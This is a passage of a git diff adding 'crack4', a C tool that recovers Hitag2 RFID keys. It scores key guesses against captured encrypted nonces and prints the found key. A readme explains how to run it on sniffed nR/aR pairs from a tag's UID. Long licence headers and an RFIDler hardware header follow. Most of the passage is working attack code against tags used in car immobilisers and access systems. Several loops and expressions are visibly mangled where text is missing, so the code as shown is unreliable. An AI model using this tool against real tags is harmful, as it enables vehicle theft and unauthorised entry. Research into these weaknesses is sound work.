0x02; + fncinput |= ((ht2_function4b << 2) >> ((packed >> 8) & 0xf)) & 0x04; + fncinput |= ((ht2_function4b << 3) >> ((packed >> 12) & 0xf)) & 0x08; + fncinput |= ((ht2_function4a << 4) >> ((packed >> 16) & 0xf)) & 0x10; + + // mask to keep the full nibble bits + fncinput = fncinput & ((1l << (n / 4)) - 1); + + if ((n % 4) == 0) { + // only complete nibbles + prob = pfnc[(n / 4) - 1][fncinput]; + } else { + // one nibble is incomplete + if (n <= 16) { + // it's in the fnb area + nibprob1 = pfnb[(n % 4) - 1][packed >> ((n / 4) * 4)]; + nibprob0 = 1.0 - nibprob1; + prob = (nibprob0 * pfnc[n / 4][fncinput]) + (nibprob1 * pfnc[n / 4][fncinput | (1l << (n / 4))]); + } else { + // it's in the final fna + nibprob1 = pfna[(n % 4) - 1][packed >> 16]; + nibprob0 = 1.0 - nibprob1; + prob = (nibprob0 * ((ht2_function5c >> fncinput) & 0x1)) + (nibprob1 * ((ht2_function5c >> (fncinput | 0x10)) & 0x1)); + } + } + } else { + // n==20 + prob = f20(packed); + } + + if (b1) { + return prob; + } else { + return (1.0 - prob); + } +} + + +/* score is like bit_score but does multiple bit correlation. + * bit_score and then shift and then repeat, adding all + * bit_scores together until no bits remain. bit_scores are + * multiplied by the number of relevant bits in the scored state + * to give weight to more complete states. */ +double score(uint64_t s, unsigned int size, uint64_t ks, unsigned int kssize) +{ + double sc, sc2; + + if ((size == 1) || (kssize == 1)) { + sc = bit_score(s, size, ks & 0x1); + return (sc * (packed_size[size] + 1)); + } else { + // I've introduced a weighting for each score to + // give more significance to bigger windows. + + sc = bit_score(s, size, ks & 0x1); + + // if a bit_score returns a probability of 0 then this can't be a winner + if (sc == 0.0) { + return 0.0; + } else { + + sc2 = score(s >> 1, size - 1, ks >> 1, kssize - 1); + + // if score returns a probability of 0 then this can't be a winner + if (sc2 == 0.0) { + return 0.0; + } else { + return (sc * (packed_size[size] + 1)) + sc2; + } + } + } +} + + +/* score_traces runs score for each encrypted nonce */ +void score_traces(struct guess *g, unsigned int size) +{ + uint64_t lfsr; + unsigned int i; + double sc; + double total_score = 0.0; + + // don't bother scoring traces that are already losers + if (g->score == 0.0) { + return; + } + + for (i=0; i> (size - 16)) | ((g->key << (48 - size)) ^ + ((nonces[i].enc_nR ^ g->b0to31[i]) << (64 - size))); + g->b0to31[i] = g->b0to31[i] | (ht2crypt(lfsr) << (size - 16)); + + // create lfsr - lower 16 bits are lower 16 bits of key + // bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream + lfsr = g->key ^ ((nonces[i].enc_nR ^ g->b0to31[i]) << 16); + + sc = score(lfsr, size, nonces[i].ks, 32); + + // look out for losers + if (sc == 0.0) { + g->score = 0.0; + return; + } + total_score = total_score + sc; + } + + // save average score + g->score = total_score / num_nRaR; + +} + + +/* score_all_traces runs score_traces for every key guess in the table */ +/* this was used in the non-threaded version */ +/* +void score_all_traces(unsigned int size) +{ + unsigned int i; + + for (i=0; istart; iend; i++) { + score_traces(&(guesses[i]), tdata->size); + } + + return NULL; +} + + +/* score_all_traces runs score_traces for every key guess in the table */ +void score_all_traces(unsigned int size) +{ + pthread_t threads[NUM_THREADS]; + void *status; + struct thread_data tdata[NUM_THREADS]; + unsigned int i; + unsigned int chunk_size; + + chunk_size = num_guesses / NUM_THREADS; + + // create thread data + for (i=0; iscore < b1->score) { + return 1; + } else if (a1->score > b1->score) { + return -1; + } else { + return 0; + } +} + + +/* expand all guesses in first half of (sorted) table by + * copying them into the second half and extending the copied + * ones with an extra 1, leaving the first half with an extra 0 */ +void expand_guesses(unsigned int halfsize, unsigned int size) +{ + unsigned int i, j; + + for (i=0; i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + fprintf(stderr, " guess=%012" PRIx64 ", num_guesses = %d, top score=%1.10f, min score=%1.10f\n", foundkey, num_guesses, guesses[0].score, guesses[num_guesses - 1].score); + } +} + + +/* test function to make sure I know how the LFSR works */ +void testkey(uint64_t key) +{ + uint64_t i; + uint64_t b0to31 = 0; + uint64_t ks = 0; + uint64_t lfsr; + uint64_t nRxorkey; + Hitag_State hstate; + + printf("ORIG REFERENCE\n"); + hitag2_init(&hstate, key, uid, nonces[0].enc_nR); + printf("after init with key, uid, nR:\n"); + printstate(&hstate); + b0to31 = 0; + for (i=0; i<32; i++) { + b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31); + } + printf("ks = 0x%08" PRIx64 ", enc_aR = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 "\n", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31); + printstate(&hstate); + + printf("\n"); + + + printf("MY REFERENCE\n"); + // build initial lfsr + lfsr = uid | ((key & 0xffff) << 32); + b0to31 = 0; + // xor upper part of key with encrypted nonce + nRxorkey = nonces[0].enc_nR ^ (key >> 16); + // insert keyupper xor encrypted nonce xor ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + printf("after init with key, uid, nR:\n"); + printf("lfsr =\t\t"); + printbin2(lfsr, 48); + printf("\n"); + + // iterate lfsr with fnL, extracting ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + ks = (ks >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | (fnL(lfsr) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + printf("ks = 0x%08" PRIx64 ", aR = 0x%08" PRIx64 ", ks(orig) = 0x%08" PRIx64 ", aR(orig) = %08" PRIx64 "\n", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff); + printf("lfsr = \t\t"); + printbin2(lfsr, 48); + printf("\n\n"); +} + + +/* test function to generate test data */ +void gen_bitstreams_testks(struct guess *g, uint64_t key) +{ + unsigned int i, j; + uint64_t nRxorkey, lfsr, ks; + + for (j=0; jb0to31[j] = 0; + // xor upper part of key with encrypted nonce + nRxorkey = nonces[j].enc_nR ^ (key >> 16); + // insert keyupper xor encrypted nonce xor ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + g->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + ks = 0; + // iterate lfsr with fnL, extracting ks + for (i=0; i<32; i++) { + // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31 + ks = (ks >> 1) | (ht2crypt(lfsr) << 31); + // insert new bit + lfsr = lfsr | (fnL(lfsr) << 48); + // shift lfsr + lfsr = lfsr >> 1; + } + + printf("orig ks = 0x%08" PRIx64 ", gen ks = 0x%08" PRIx64 ", b0to31 = 0x%08" PRIx64 "\n", nonces[j].ks, ks, g->b0to31[j]); + if (nonces[j].ks != ks) { + printf(" FAIL!\n"); + } + } +} + + +/* test function */ +void test() +{ + uint64_t lfsr; + uint64_t packed; + + uint64_t i; + + + for (i=0; i<1000; i++) { + lfsr = ((uint64_t)rand() << 32) | rand(); + packed = packstate(lfsr); + + if (hitag2_crypt(lfsr) != f20(packed)) { + printf(" * * * FAIL: %3" PRIu64 ": 0x%012" PRIx64 " = %d, 0x%012" PRIx64 " = 0x%05" PRIx64 "\n", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed)); + } + } + + printf("test done\n"); +} + + +/* check_key tests the potential key against an encrypted nonce, ks pair */ +int check_key(uint64_t key, uint64_t enc_nR, uint64_t ks) +{ + Hitag_State hstate; + uint64_t bits; + int i; + + hitag2_init(&hstate, key, uid, enc_nR); + bits = 0; + for (i=0; i<32; i++) { + bits = (bits >> 1) | (hitag2_nstep(&hstate, 1) << 31); + } + if (ks == bits) { + return 1; + } else { + return 0; + } +} + + +/* start up */ +int main(int argc, char *argv[]) +{ + unsigned int i; + uint64_t revkey; + uint64_t foundkey; + int tot_nRaR = 0; + char c; + char *uidstr = NULL; + char *noncefilestr = NULL; + +// test(); +// exit(0); + + while ((c = getopt(argc, argv, "u:n:N:t:T:h")) != -1) { + switch(c) { + case 'u': + uidstr = optarg; + break; + case 'n': + noncefilestr = optarg; + break; + case 'N': + tot_nRaR = atoi(optarg); + break; + case 't': + maxtablesize = atoi(optarg); + break; + case 'T': + supplied_testkey = rev64(hexreversetoulonglong(optarg)); + break; + case 'h': + usage(); + break; + default: + usage(); + } + } + + if (!uidstr || !noncefilestr || (maxtablesize <= 0)) { + usage(); + } + + create_guess_table(); + + init_guess_table(noncefilestr, uidstr); + + if ((tot_nRaR > 0) && (tot_nRaR <= num_nRaR)) { + num_nRaR = tot_nRaR; + } + fprintf(stderr, "Using %d nRaR pairs\n", num_nRaR); + + crack(); + + // test all key guesses and stop if one works + for (i=0; i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + printf("key = %012" PRIX64 "\n", foundkey); + exit(0); + } + } + + printf("FAIL :( - none of the potential keys in the table are correct.\n"); + exit(1); + return 0; +} + + + diff --git a/tools/hitag2crack/crack4/readme.md b/tools/hitag2crack/crack4/readme.md new file mode 100644 index 000000000..a906700b1 --- /dev/null +++ b/tools/hitag2crack/crack4/readme.md @@ -0,0 +1,29 @@ +ht2crack4 + + + +Build +----- + +make clean +make + + +Run +--- + +You'll need a file consisting of 16 (or more) nR aR pairs. These are the +encrypted nonces and challenge response values. They should be in hex with +one pair per line, e.g.: +0x12345678 0x9abcdef0 + +./ht2crack4 -u UID -n NRARFILE [-N nonces to use] [-t table size] + +UID is the UID of the tag that you used to gather the nR aR values. +NRARFILE is the file containing the nR aR values. +The number of nonces to use allows you to use less than 32 nonces to increase +speed. +The table size can be tweaked for speed. Start with 500000 and double it each +time it fails to find the key. + + diff --git a/tools/hitag2crack/crack4/rfidler.h b/tools/hitag2crack/crack4/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack4/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack4/util.h b/tools/hitag2crack/crack4/util.h new file mode 100644 index 000000000..c2399c37c --- /dev/null +++ b/tools/hitag2crack/crack4/util.h @@ -0,0 +1,147 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + 